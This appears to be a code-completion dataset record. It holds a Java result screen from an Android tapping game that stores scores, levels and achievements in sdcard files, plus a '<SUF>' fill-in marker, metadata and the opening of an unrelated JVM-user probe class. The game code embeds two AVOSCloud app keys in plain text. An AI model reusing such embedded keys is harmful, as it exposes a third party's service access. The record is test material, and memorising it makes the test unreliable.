}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_level.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append("0");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
catch (Exception e)
{}
//判断是否达成成就
File fl=new File("/mnt/sdcard/zjfb_a_gt.txt");
try{
if(fl.isFile() && fl.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fl),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
gt =Integer.parseInt( bufferedReader.readLine());
read.close();
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_a_gt.txt");
BufferedWriter fw = null;
try {
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(fl, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
gt=gt+1;
if(gt==3||gt==20||gt==100)
{
final AlertDialog Dialog;
Dialog = new AlertDialog.Builder(section_2_result.this).create();
Dialog.show();
Dialog.getWindow().setContentView(R.layout.dialog00);
Dialog.getWindow().findViewById(R.id.dialogupButton1)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Dialog.dismiss();
}
});
try
{
File fr=new File("/mnt/sdcard/zjfb_level.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read2=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader2 = new BufferedReader(read2);
level_code =Integer.parseInt( bufferedReader2.readLine());
read2.close();
if(gt==3)
level_code=level_code+20;
if(gt==20)
level_code=level_code+50;
if(gt==100)
level_code=level_code+200;
try
{
FileWriter fg=new FileWriter("/mnt/sdcard/zjfb_level.txt");
}
catch (IOException e)
{}
BufferedWriter fy = null;
try {
File fg=new File("/mnt/sdcard/zjfb_level.txt");
fy = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(fg, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fy.append(level_code+"");
fy.newLine();
fy.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fy != null) {
try {
fy.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}catch (Exception e)
{}
}
fw.append(gt+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}}
catch (IOException e)
{}
int weishu=score_%10;
File fd=new File("/mnt/sdcard/zjfb_a_"+weishu+".txt");
if(fd.isFile() && fd.exists()){ //判断文件是否存在
}
else{
final AlertDialog Dialog;
Dialog = new AlertDialog.Builder(section_2_result.this).create();
Dialog.show();
Dialog.getWindow().setContentView(R.layout.dialog00);
Dialog.getWindow().findViewById(R.id.dialogupButton1)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Dialog.dismiss();
}
});
try
{
File fr=new File("/mnt/sdcard/zjfb_level.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
level_code =Integer.parseInt( bufferedReader.readLine());
read.close();
level_code=level_code+20;
try
{
FileWriter fi=new FileWriter("/mnt/sdcard/zjfb_level.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_level.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(level_code+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}catch (Exception e)
{}
try
{
FileWriter fk=new FileWriter("/mnt/sdcard/zjfb_a_"+weishu+".txt");
}
catch (IOException e)
{}
}
try
{
File fr=new File("/mnt/sdcard/zjfb_user.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
user=bufferedReader.readLine();
read.close();
}
}catch (Exception e)
{}
if(user!="null")
{
AVAnalytics.trackAppOpened(getIntent());
AVOSCloud.initialize(section_2_result.this, "li8gesgfo0c3xky7br5ziclfsnh5mpxk5c6og2e7sr8kt9au", "uxdxh7ctrq5v9ahvbox1h3tm0ra66p4822fsexx6lm8358ns");
AVObject score = new AVObject("high_score2");
score.put("Value",score_+"");
score.put("Player",user+"");
score.saveInBackground();
}
try
{
File fr=new File("/mnt/sdcard/zjfb_least2.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
int least =Integer.parseInt( bufferedReader.readLine());
read.close();
if(least<score_)
{
final AlertDialog Dialog = new AlertDialog.Builder(section_2_result.this).create();
Dialog.show();
Dialog.getWindow().setContentView(R.layout.dialogup);
Dialog.getWindow().findViewById(R.id.dialogupButton1)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent pp1=new Intent();
pp1.setClass(section_2_result.this,upload2.class);
Bundle bundle= new Bundle();
bundle.putInt("result_s2",score_);
Bundle bundle2= new Bundle();
bundle.putString("player",user);
pp1.putExtras(bundle);
pp1.putExtras(bundle2);
startActivity(pp1);
finish();
Dialog.dismiss();
}
});
Dialog.getWindow().findViewById(R.id.dialogupButton2)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent pp=new Intent();
pp.setClass(section_2_result.this,start.class);
startActivity(pp);
Dialog.dismiss();
finish();
}
});
}
}
} catch (Exception e) {
e.printStackTrace();
}
try
{
File fr=new File("/mnt/sdcard/zjfb_whiteblocks.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
num =Integer.parseInt( bufferedReader.readLine());
read.close();
whiteblocks=num+whiteblocks;
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_whiteblocks.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_whiteblocks.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(whiteblocks+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
catch (Exception e)
{}
try
{
File fr=new File("/mnt/sdcard/zjfb_redstar.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
num =Integer.parseInt( bufferedReader.readLine());
read.close();
red=num+red;
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_redstar.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_redstar.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(red+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
catch (Exception e)
{}
try
{
File fr=new File("/mnt/sdcard/zjfb_yellowstar.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
num =Integer.parseInt( bufferedReader.readLine());
read.close();
yellow=num+yellow;
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_yellowstar.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_yellowstar.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(yellow+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
catch (Exception e)
{}
}
}
| 0HugoHu/FingerStorm | src/com/hyd/zjfb/section_2_result.java | 7,214 | //判断文件是否存在 | line_comment | zh-cn | package com.hyd.zjfb;
import android.app.*;
import android.content.*;
import android.os.*;
import android.util.*;
import android.view.*;
import android.view.View.*;
import android.widget.*;
import com.avos.avoscloud.*;
import java.io.*;
public class section_2_result extends Activity
{
private int score,score_,lineTxt_,gt;
private Button e,f;
private int level_code;
private TextView b,c,d,g;
private TextView a;
private int whiteblocks=0,num,red,yellow;
private String lineTxt,user;
private File fd=new File("/mnt/sdcard/zjfb_present_0.txt");
private File fs=new File("/mnt/sdcard/zjfb_present_1.txt");
private File fp=new File("/mnt/sdcard/zjfb_present_2.txt");
private File fo=new File("/mnt/sdcard/zjfb_present_3.txt");
@Override
public void onCreate(Bundle savedInstanceState)
{
requestWindowFeature(Window.FEATURE_NO_TITLE);
super.onCreate(savedInstanceState);
setContentView(R.layout.section_2_result);
// AVOSCloud.initialize(this, "li8gesgfo0c3xky7br5ziclfsnh5mpxk5c6og2e7sr8kt9au", "uxdxh7ctrq5v9ahvbox1h3tm0ra66p4822fsexx6lm8358ns");
Bundle bundle = this.getIntent().getExtras();
score=bundle.getInt("result_s2");
red=bundle.getInt("red");
yellow=bundle.getInt("yellow");
whiteblocks=bundle.getInt("whiteblocks");
int extra= (int) (Math.random() * (98)) + 0;
score_=score+extra;
e=(Button) findViewById(R.id.section1resultButton1);
f=(Button) findViewById(R.id.section1resultButton2);
a=(TextView) findViewById(R.id.section1resultTextView3);
b=(TextView) findViewById(R.id.section1resultTextView5);
c=(TextView) findViewById(R.id.section1resultTextView6);
d=(TextView) findViewById(R.id.section1resultTextView7);
g=(TextView) findViewById(R.id.section1resultTextView8);
try
{
File fr=new File("/mnt/sdcard/zjfb_level.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
level_code =Integer.parseInt( bufferedReader.readLine());
read.close();
}}catch (Exception e){}
try
{
File fr=new File("/mnt/sdcard/zjfb_BestRecord2.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
lineTxt = bufferedReader.readLine();
read.close();
}
}
catch (IOException e)
{}
lineTxt_=Integer.parseInt(lineTxt);
if(score> lineTxt_)
{
d.setVisibility(View.VISIBLE);
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_BestRecord2.txt");
}
catch (IOException e)
{}
File file=new File("/mnt/sdcard/zjfb_BestRecord2.txt");
if(file.isFile() && file.exists()){
BufferedWriter fw = null;
try {
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(""+score);
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
try
{
if(fd.isFile() && fd.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成10%");
score_=(int)(score*1.1);
}
}
catch (Exception e)
{}
try
{
if(fs.isFile() && fs.exists()){ //判断 <SUF>
g.setVisibility(View.VISIBLE);
g.setText("加成3%");
score_=(int)(score*1.03);
}
}
catch (Exception e)
{}
try
{
if(fp.isFile() && fp.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成5%");
score_=(int)(score*1.05);
}
}
catch (Exception e)
{}
try
{
if(fo.isFile() && fo.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成20%");
score_=(int)(score*1.2);
}
}
catch (Exception e)
{}
//2
if(fd.isFile() && fd.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成13%");
score_=(int)(score*1.13);
}
if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成15%");
score_=(int)(score*1.15);
}
if(fd.isFile() && fd.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成30%");
score_=(int)(score*1.3);
}
if(fs.isFile() && fs.exists()&&fp.isFile() && fp.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成18%");
score_=(int)(score*1.18);
}
if(fs.isFile() && fs.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成23%");
score_=(int)(score*1.23);
}
if(fo.isFile() && fo.exists()&&fp.isFile() && fp.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成25%");
score_=(int)(score*1.25);
}
//3
if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成18%");
score_=(int)(score*1.18);
}
if(fd.isFile() && fd.exists()&&fo.isFile() && fo.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成33%");
score_=(int)(score*1.33);
}
if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成35%");
score_=(int)(score*1.35);
}
if(fo.isFile() && fo.exists()&&fp.isFile() && fp.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成28%");
score_=(int)(score*1.28);
}
//4
if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()
&&fs.isFile() && fs.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成38%");
score_=(int)(score*1.38);
}
//得分
a.setText(score_+"");
// a.setText(whiteblocks+"");
if(score<7000)
{
b.setText("☆☆☆☆☆");
c.setText("你逗我玩呢是吧→_→");
}
if(score>=7000&&score<11000)
{
b.setText("★☆☆☆☆");
c.setText("我对你的手速真是醉了=_=");
}
if(score>=11000&&score<14000)
{
b.setText("★★☆☆☆");
c.setText("还要再接再厉哦!O(∩_∩)O");
}
if(score>=14000&&score<17000)
{
b.setText("★★★☆☆");
c.setText("就差一点点啦!再试一次吧?(^_^)");
}
if(score>=17000&&score<20000)
{
b.setText("★★★★☆");
c.setText("手速不错!厉害!\\(≧▽≦)/~");
}
if(score>=20000&&score<23000)
{
File fz=new File("/mnt/sdcard/zjfb_a_fivet.txt");
if(fz.isFile() && fz.exists()){}
else{
try
{
FileWriter fh=new FileWriter("/mnt/sdcard/zjfb_a_fivet.txt");
}
catch (IOException e)
{}
final AlertDialog Dialog;
Dialog = new AlertDialog.Builder(section_2_result.this).create();
Dialog.show();
Dialog.getWindow().setContentView(R.layout.dialog00);
Dialog.getWindow().findViewById(R.id.dialogupButton1)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Dialog.dismiss();
}
});
level_code=level_code+20;
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_level.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_level.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(level_code+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
b.setText("★★★★★");
c.setText("你已超越凡人!快去看看排行榜上的世界纪录吧!");
}
if(score>=30000)
{
b.setText("卍卍卍卍卍");
c.setText("我对您本次成绩表示疑惑,请不要使用外挂等工具,如有下次必将重罚。@( ̄- ̄)@\n如有意见请反馈。");
}
e.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View p1)
{
Intent pp1=new Intent();
pp1.setClass(section_2_result.this,start.class);
startActivity(pp1);
finish();
}
});
f.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View p1)
{
Intent pp1=new Intent();
pp1.setClass(section_2_result.this,section_2.class);
startActivity(pp1);
finish();
}
});
int num = (int) (Math.random() * 99) + 1;
//num=10;
if(num==10)
{
File fd=new File("/mnt/sdcard/zjfb_present_0.txt");
if(fd.isFile() && fd.exists()){ //判断文件是否存在
}
else{
final AlertDialog Dialog;
Dialog = new AlertDialog.Builder(section_2_result.this).create();
Dialog.show();
Dialog.getWindow().setContentView(R.layout.dialog1);
Dialog.getWindow().findViewById(R.id.dialogupButton1)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Dialog.dismiss();
}
});
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_present_0.txt");
}
catch (IOException e)
{}
}
}
if(num>10&&num<18)
{
File fd=new File("/mnt/sdcard/zjfb_present_1.txt");
if(fd.isFile() && fd.exists()){ //判断文件是否存在
}
else{
final AlertDialog Dialog;
Dialog = new AlertDialog.Builder(section_2_result.this).create();
Dialog.show();
Dialog.getWindow().setContentView(R.layout.dialog2);
Dialog.getWindow().findViewById(R.id.dialogupButton1)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Dialog.dismiss();
}
});
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_present_1.txt");
}
catch (IOException e)
{}
}
}
//经验值增加
try
{
File fr=new File("/mnt/sdcard/zjfb_level.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
level_code =Integer.parseInt( bufferedReader.readLine());
read.close();
level_code=level_code+3;
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_level.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_level.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(level_code+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
else{
level_code=0;
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_level.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_level.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append("0");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
catch (Exception e)
{}
//判断是否达成成就
File fl=new File("/mnt/sdcard/zjfb_a_gt.txt");
try{
if(fl.isFile() && fl.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fl),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
gt =Integer.parseInt( bufferedReader.readLine());
read.close();
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_a_gt.txt");
BufferedWriter fw = null;
try {
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(fl, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
gt=gt+1;
if(gt==3||gt==20||gt==100)
{
final AlertDialog Dialog;
Dialog = new AlertDialog.Builder(section_2_result.this).create();
Dialog.show();
Dialog.getWindow().setContentView(R.layout.dialog00);
Dialog.getWindow().findViewById(R.id.dialogupButton1)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Dialog.dismiss();
}
});
try
{
File fr=new File("/mnt/sdcard/zjfb_level.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read2=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader2 = new BufferedReader(read2);
level_code =Integer.parseInt( bufferedReader2.readLine());
read2.close();
if(gt==3)
level_code=level_code+20;
if(gt==20)
level_code=level_code+50;
if(gt==100)
level_code=level_code+200;
try
{
FileWriter fg=new FileWriter("/mnt/sdcard/zjfb_level.txt");
}
catch (IOException e)
{}
BufferedWriter fy = null;
try {
File fg=new File("/mnt/sdcard/zjfb_level.txt");
fy = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(fg, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fy.append(level_code+"");
fy.newLine();
fy.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fy != null) {
try {
fy.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}catch (Exception e)
{}
}
fw.append(gt+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}}
catch (IOException e)
{}
int weishu=score_%10;
File fd=new File("/mnt/sdcard/zjfb_a_"+weishu+".txt");
if(fd.isFile() && fd.exists()){ //判断文件是否存在
}
else{
final AlertDialog Dialog;
Dialog = new AlertDialog.Builder(section_2_result.this).create();
Dialog.show();
Dialog.getWindow().setContentView(R.layout.dialog00);
Dialog.getWindow().findViewById(R.id.dialogupButton1)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Dialog.dismiss();
}
});
try
{
File fr=new File("/mnt/sdcard/zjfb_level.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
level_code =Integer.parseInt( bufferedReader.readLine());
read.close();
level_code=level_code+20;
try
{
FileWriter fi=new FileWriter("/mnt/sdcard/zjfb_level.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_level.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(level_code+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}catch (Exception e)
{}
try
{
FileWriter fk=new FileWriter("/mnt/sdcard/zjfb_a_"+weishu+".txt");
}
catch (IOException e)
{}
}
try
{
File fr=new File("/mnt/sdcard/zjfb_user.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
user=bufferedReader.readLine();
read.close();
}
}catch (Exception e)
{}
if(user!="null")
{
AVAnalytics.trackAppOpened(getIntent());
AVOSCloud.initialize(section_2_result.this, "li8gesgfo0c3xky7br5ziclfsnh5mpxk5c6og2e7sr8kt9au", "uxdxh7ctrq5v9ahvbox1h3tm0ra66p4822fsexx6lm8358ns");
AVObject score = new AVObject("high_score2");
score.put("Value",score_+"");
score.put("Player",user+"");
score.saveInBackground();
}
try
{
File fr=new File("/mnt/sdcard/zjfb_least2.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
int least =Integer.parseInt( bufferedReader.readLine());
read.close();
if(least<score_)
{
final AlertDialog Dialog = new AlertDialog.Builder(section_2_result.this).create();
Dialog.show();
Dialog.getWindow().setContentView(R.layout.dialogup);
Dialog.getWindow().findViewById(R.id.dialogupButton1)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent pp1=new Intent();
pp1.setClass(section_2_result.this,upload2.class);
Bundle bundle= new Bundle();
bundle.putInt("result_s2",score_);
Bundle bundle2= new Bundle();
bundle.putString("player",user);
pp1.putExtras(bundle);
pp1.putExtras(bundle2);
startActivity(pp1);
finish();
Dialog.dismiss();
}
});
Dialog.getWindow().findViewById(R.id.dialogupButton2)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent pp=new Intent();
pp.setClass(section_2_result.this,start.class);
startActivity(pp);
Dialog.dismiss();
finish();
}
});
}
}
} catch (Exception e) {
e.printStackTrace();
}
try
{
File fr=new File("/mnt/sdcard/zjfb_whiteblocks.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
num =Integer.parseInt( bufferedReader.readLine());
read.close();
whiteblocks=num+whiteblocks;
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_whiteblocks.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_whiteblocks.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(whiteblocks+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
catch (Exception e)
{}
try
{
File fr=new File("/mnt/sdcard/zjfb_redstar.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
num =Integer.parseInt( bufferedReader.readLine());
read.close();
red=num+red;
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_redstar.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_redstar.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(red+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
catch (Exception e)
{}
try
{
File fr=new File("/mnt/sdcard/zjfb_yellowstar.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
num =Integer.parseInt( bufferedReader.readLine());
read.close();
yellow=num+yellow;
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_yellowstar.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_yellowstar.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(yellow+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
catch (Exception e)
{}
}
}
| 0 |
39286_3 | package runuser;
import common.CommonUtil;
import entity.RunUserInfo;
import java.io.*;
import java.util.ArrayList;
import java.util.List;
/**
* 主要用于多用户的处理
*/
public class RunHandle {
/**
* 获取运行的结果 封装了处理多路径的情况
* @return
*/
public static List<RunUserInfo> getUser() {
// 实测发现有的linux版本获取的临时目录不会加/
String usetmp = System.getProperty("java.io.tmpdir").endsWith("/") ? System.getProperty("java.io.tmpdir") : System.getProperty("java.io.tmpdir")+"/";
List<RunUserInfo> runUserList = new ArrayList<RunUserInfo>();
if (!"/tmp/".equals(usetmp)) {
getRunUserlist(usetmp,runUserList);
}
getRunUserlist("/tmp/",runUserList);
return runUserList;
}
/**
* jvm通常都是多权限运行的,为了解决权限不同的隔离问题,按照linux下面大部分的特性,在/tmp/目录寻找运行过jvm的用户
* 可能会有偶尔的状况更改了tmp目录,在此不做操作默认为/tmp/(主要是每个用户的tmp可能 不好获取,但是基本没人改这个)
* 2019年08月27日19:20:25 打脸了,我的mac就不在这个目录,所以改成了原始执行用户的use目录 + /tmp/ (方便兼容)
*/
public static void getRunUserlist(String path, List<RunUserInfo> runUserList) {
try {
File jvmTmpDir = new File(path);
for (File tmpfile : jvmTmpDir.listFiles()) {
if (tmpfile.getName().startsWith("hsperfdata_")) {
RunUserInfo runUserInfo = new RunUserInfo();
runUserInfo.setUserName(tmpfile.getName().replace("hsperfdata_",""));
for (File usertmp : tmpfile.listFiles()) {
runUserInfo.getUserPid().add(usertmp.getName());
}
runUserList.add(runUserInfo);
}
}
}
catch (Exception e) {
CommonUtil.writeStr("/tmp/jvm_error.txt","zzz\t" + e.getMessage());
System.out.println(e.getMessage());
}
}
/**
* 垃圾的监测 windwos没测 直接干死
*/
public static void checkOS() {
if (System.getProperty("os.name").toLowerCase().indexOf("windows") > -1) {
System.out.println("不支持Windows系统!");
System.exit(0);
}
}
/**
* 执行分用户hook 其实应该做一个runuser的监测 但是我懒,并且我司内网主机架构比较统一基本都安装了
* @param user
*/
public static void runHookCommand(String user) {
try {
String[] commd = { "runuser", "-c", "java -jar JavaProbe.jar " + user, user};
